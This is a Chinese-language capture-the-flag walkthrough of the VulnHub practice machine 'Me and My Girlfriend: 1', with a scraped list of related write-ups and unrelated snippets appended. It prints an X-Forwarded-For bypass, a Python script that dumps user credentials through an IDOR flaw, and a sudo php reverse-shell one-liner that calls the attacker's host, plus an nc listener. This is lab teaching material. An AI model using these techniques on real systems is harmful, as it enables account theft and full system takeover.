vulnhub靶机-Me and My Girlfriend: 1
vulnhub靶机实战
1.靶机地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/
2.先看描述(要求)

- 通过这个我们可以知道我们需要找到alice隐藏的“东西”,说不定就是flag噢!!
- 这是一个初级难度,我们的目标是拿到2个flag,在哪呢???自己找
3.主机,端口发现
在vmware或者vitrualbox中导入靶机并启动,会自动获取ip地址,页面如下
我们先看下当前网络内的存活主机都有哪些:

因为我的内网里面虚拟机开的比较多,所以不好分辨哪台是靶机,这种情况的话你可以通过mac地址去匹配对应的ip地址,如上
靶机mac地址查看在虚拟机——〉右键设置——〉网络适配器——〉高级

然后扫描靶机开放了哪些端口

我们可以看到开启了80端口和22端口,每个端口对应着开启的服务如下:
参考链接:https://blog.csdn.net/wangye1989_0226/article/details/72961400
| 端口号 | 服务 |
|---|---|
| 80 | http 用于万维网(WWW)服务的超文本传输协议(HTTP) |
| 22 | ssh 安全 Shell(SSH)服务 |
开启了80端口说明开启了http服务,访问地址查看web服务

果不其然,发现请求被拒绝,提示我们只能通过本地去访问,我们查看源码发现让我们使用x-forwarded-for

我们抓包加入x-forwarded-for:127.0.0.1成功访问
GET / HTTP/1.1
Host: 192.168.33.65
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
x-forwarded-for:127.0.0.1
Upgrade-Insecure-Requests: 1

我们发现有注册登录框(注意后面每一个页面请求都需要加上本地访问噢!),我们注册一个账户并登陆发现有一个profile页面后面接了一个user_id的参数,页面直接显示出我们的用户名密码出来。

我们尝试修改user_id=1,发现显示了别人的信息,不妨写个脚本爆破一下所有的用户名密码瞅瞅

python脚本:(python学的不精,大家可以参考参考自行写脚本爆破!)
import re
import requests
if __name__ == '__main__':
for user_id in range(1,13):
burp0_url = f"http://192.168.33.65:80/index.php?page=profile&user_id={user_id}"
burp0_cookies = {"PHPSESSID": "ft21h9vkiehflhkv1qfago3c75"}
burp0_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate", "Connection": "close", "x-forwarded-for": "127.0.0.1",
"Upgrade-Insecure-Requests": "1"}
requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text
username = re.findall(r'<input type="text" name="username" id="username" value="(.*?)">',r)
passwd = re.findall(r'<input type="password" name="password" id="password" value="(.*?)">',r)
if username[0]:
print(username[0] + ":" + passwd[0])

还记得我们的描述吗?不记得就回去看看吧!我们发现了alice的账户密码,还记得上面开启了22端口吗?所以我们可以ssh连接上alice的账户。进去就是一顿ls,发现啥也没有,通过ls -al发现了什么,.my_secret,居然有秘密文件夹,打开看看

成功发现了第一个flag,还记得我们总共有两个flag,看到上面提示需要我们通过root权限获得另一个flag。
4.反弹shell提权
首先查看自己可以以root权限执行什么命令,发现自己是可以以root权限执行php命令的,而php又是可以执行本地命令的,所以就相当于alice可以执行root命令。

反弹shell:
首先在kali上面监听10086端口
nc -lvp 10086
然后靶机上的alice创建一个php反弹shell去连接它
sudo /usr/bin/php -r '$sock=fsockopen("192.168.33.136",10086);exec("/bin/bash -i <&3 >&3 2>&3");'
返回kali这边已经登录进root了,进去之后照例一顿乱瞅,成功获得第二个flag!!!


vulnhub靶机-Me and My Girlfriend: 1的更多相关文章
- vulnhub靶机Os-hackNos-1
vulnhub靶机Os-hackNos-1 信息搜集 nmap -sP 192.168.114.0/24 找到开放机器192.168.114.140这台机器,再对这台靶机进行端口扫描. 这里对他的端口 ...
- vulnhub靶机之DC6实战(wordpress+nmap提权)
0x00环境 dc6靶机下载地址:https://download.vulnhub.com/dc/DC-6.zip dc6以nat模式在vmware上打开 kali2019以nat模式启动,ip地址为 ...
- 对vulnhub靶机lampiao的getshell到脏牛提权获取flag
前言: vulnhub里面的一个靶场,涉及到drupal7 cms远程代码执行漏洞(CVE-2018-7600)和脏牛提权. 靶机下载地址:https://mega.nz/#!aG4AAaDB!CBL ...
- Vulnhub靶场-Me and my girlfriend 学习笔记
靶机下载地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/ Description: This VM tells us that ...
- PJzhang:vulnhub靶机sunset系列SUNSET:TWILIGHT
猫宁~~~ 地址:https://www.vulnhub.com/entry/sunset-twilight,512/ 关注工具和思路. nmap 192.168.43.0/24靶机IP192.168 ...
- vulnhub靶机练习-Os-Hax,详细使用
Difficulty : Intermediate Flag : boot-root Learing : exploit | web application Security | Privilege ...
- vulnhub靶机练习-Os-hackNos-1,超详细使用
第一次写自己总结的文章,之后也会有更新,目前还在初学阶段. 首先介绍一下靶机,靶机是 vulnhub Os-hackNos-1 简介: 难度容易到中, flag 两个 一个是普通用户的user.txt ...
- 脚本小子学习--vulnhub靶机DC8
@ 目录 前言 一.环境搭建 二.目标和思路 三.实际操作 1.信息收集 2.getshell 总结 前言 通过一些靶机实战练习,学习使用现有的工具来成为脚本小子. 一.环境搭建 靶机:Linux虚拟 ...
- Vulnhub靶机渗透 -- DC6
信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...
随机推荐
- uwp 的work project 的 取消闹钟
private void initalAlarmHanle() { string cancelAlarm = "CancelAlarmEvent"; ConnectionManag ...
- 用Java8把List转为Map
1 import com.yang.test.User; 2 3 import javax.jws.soap.SOAPBinding; 4 import java.util.*; 5 import j ...
- Go依赖包管理--间接依赖
目录 1.indirect含义 1.2 直接依赖未启用 Go module 1.2 直接依赖 go.mod 文件不完整 2.总结 1.indirect含义 在使用 Go module 过程中,随着引入 ...
- yum命令报错File "/usr/bin/yum", line 30 except KeyboardInterrupt, e:
使用yum命令报错File "/usr/bin/yum", line 30 except KeyboardInterrupt, e: 问题出现原因:yum包管理是使用python2 ...
- NCNN优化实时面部关键点检测
效果图 演示手机为红米10X pro,可以实时跑人脸检测+关键点识别二个模型. 主要优化 上次看见有人讨论人脸检测与关键点识别,用的是opencv相关,于是想看下深度神经网络相关部分的进展,先选定了推 ...
- Python - 如何将 list 列表作为数据结构使用
列表作为栈使用 栈的特点 先进后出,后进先出 如何模拟栈? 先在堆栈尾部添加元素,使用 append() 然后从堆栈顶部取出一个元素,使用 pop() # 模拟栈 stack = [1, 2, 3, ...
- Appium问题解决方案(5)- selenium.common.exceptions.InvalidSelectorException: Message: Locator Strategy 'name' is not supported for this session
背景 使用Appium Server 1.15.1版本 执行了以下脚本 test = driver.find_element_by_name("自动化测试") print(test ...
- Hamcrest 断言框架
Hamcrest是一个为了测试为目的,能组合成灵活表达式的匹配器类库.用于编断言的框架,使用这个框架编写断言,提高可读性及开发测试的效率,提供了大量"匹配器"方法,每个匹配器用于执 ...
- 异步处理方式之信号(三):kill、raise、alarm、pause函数简介
文章目录 6. 函数kill和raise 7. 函数alarm和pause 7.1 alarm() 7.2 pause() 6. 函数kill和raise kill函数用来将信号发送给进程或者进程组. ...
- FileWriter文件文件字符输出流写入存储数据
1.FileWriter文件字符输出流-写入-存储数据 其中,流关闭之后再调用会报IOException; 其中,与文件字符输入流-写出-读取数据 和 字节输出流-写入-存储数据 不同的是,要先flu ...